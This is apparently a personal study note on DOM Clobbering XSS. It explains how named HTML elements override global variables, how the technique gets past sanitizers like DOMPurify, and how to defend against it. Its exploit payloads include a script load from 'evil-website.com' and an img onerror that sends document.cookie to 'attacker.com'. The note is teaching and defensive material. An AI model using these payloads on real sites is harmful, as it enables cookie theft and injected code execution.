🧠 XSS - DOM Clobbering
What is it?
-
Concept: DOM Clobbering is a technique used to overwrite trusted DOM global variables that will then be processed by the application in an unsafe way. This can be achieved by modifying the
idor thenameattribute of the controlled element to the same as the target global variable, making the application mistake the injected element as the trusted global variable -
Impact: Client-Side XSS, Logic Bypasses, and Denial of Service. It acts as a “second-order” vulnerability, turning harmless HTML injection into code execution by tricking legitimate application scripts into using attacker-controlled DOM elements as if they were real configuration objects or arrays.
How it works
In modern browsers, elements with an id or name attribute are automatically mapped as global properties on the window object to support legacy code.
- The Injection: An attacker injects
<a id="config" href="javascript:alert(1)">. - The Mapping: The browser automatically creates a global variable:
window.config = [HTMLAnchorElement]. - The Execution: A vulnerable script checks for configuration:
let scriptSrc = window.config.href. Becausehrefis a valid property of an anchor tag, the attacker’s payload is seamlessly extracted and executed.
Notes
-
The “Tier Hierarchy” (Explicit JS Always Wins): There is a clear hierarchy of priority when a script asks for a specific variable.
-
Tier 1: Built-in Browser APIs. (e.g.,
window.document,window.location,window.alert). These are virtually untouchable. If you write<img id="location">, the browser ignores it becausewindow.locationis a Tier 1 protected property. -
Tier 2: Explicit JavaScript Variables. Any variable declared via JavaScript in the global scope (
var x,window.x = ...,function x()). -
Tier 3: Named DOM Elements (DOM Clobbering). Elements with an
idornameattribute.
-
-
The CSP Assassination Trick: If a target application securely initializes its variables (making them immune to classic clobbering due to the Tier Hierarchy), an attacker can use a secondary HTML injection vulnerability to inject a restrictive
<meta http-equiv="Content-Security-Policy">. By purposefully omitting the secure initialization script from the CSP whitelist, the attacker forces the browser to block the script. This leaves the variable undefined, allowing the Tier 3 DOM Clobbering to survive and hijack the logic. (see HTB - Batchcraft Potions challenge) -
The DOMPurify Bypass: Industry-standard sanitizers like DOMPurify violently strip active XSS payloads (e.g.,
<img onerror="alert(1)">). However, they explicitly allow structural attributes likeidandname. DOM Clobbering perfectly bypasses HTML sanitizers because the injected payload is purely structural, relying on the application’s own JavaScript to insecurely execute the payload later. -
Array Impersonation via
HTMLCollection: If you inject multiple elements with the exact samenameattribute, the browser groups them into anHTMLCollection. This collection mimics a JavaScript Array, allowing attackers to clobber indexed lists (e.g.,potionTypes[0]andpotionTypes[1]).
Exploitation
Prerequisites
- Ability to inject HTML (even strictly sanitized HTML).
- A target script that references global variables without strict type checking or robust initialization.
Attack Vectors
1. The Classic Fallback
Target relies on logical OR || for default settings.
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;<!-- Exploit Payload -->
<a id="someObject" href="[https://evil-website.com/malware.js](https://evil-website.com/malware.js)"></a>2. Nested Property Clobbering
Using HTML <form> quirks to clobber nested objects (e.g., window.userSettings.avatar).
<!-- Exploit Payload -->
<form id="userSettings">
<input name="avatar" value="<img src=x onerror=alert(1)>">
</form>3. Array Impersonation Create an HTMLCollection to impersonate a legit Javascript array.
<!-- Exploit Payload -->
<img name="potionTypes">
<img name="potionTypes" id="1" src="'id='http://attacker.com/'onerror=new/**/Image().src=this.id+document.cookie//">Mitigation
-
Fix 1: Explicit Declarations. Always use
let,const, orvarto declare variables. This enforces Tier 2 priority and prevents DOM elements from polluting the scope. -
Fix 2: Strict Type Checking. Before trusting a variable, verify its type. (e.g.,
if (config instanceof Array)instead of just checking if it exists). -
Fix 3: Avoid Global Scope. Wrap application code in Immediately Invoked Function Expressions (IIFEs) or ES6 Modules so variables are not attached to the
windowobject at all.
Related Usage
TABLE creation_date AS "Created"
FROM "05 - Content"
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩")
SORT file.name ASCReferences: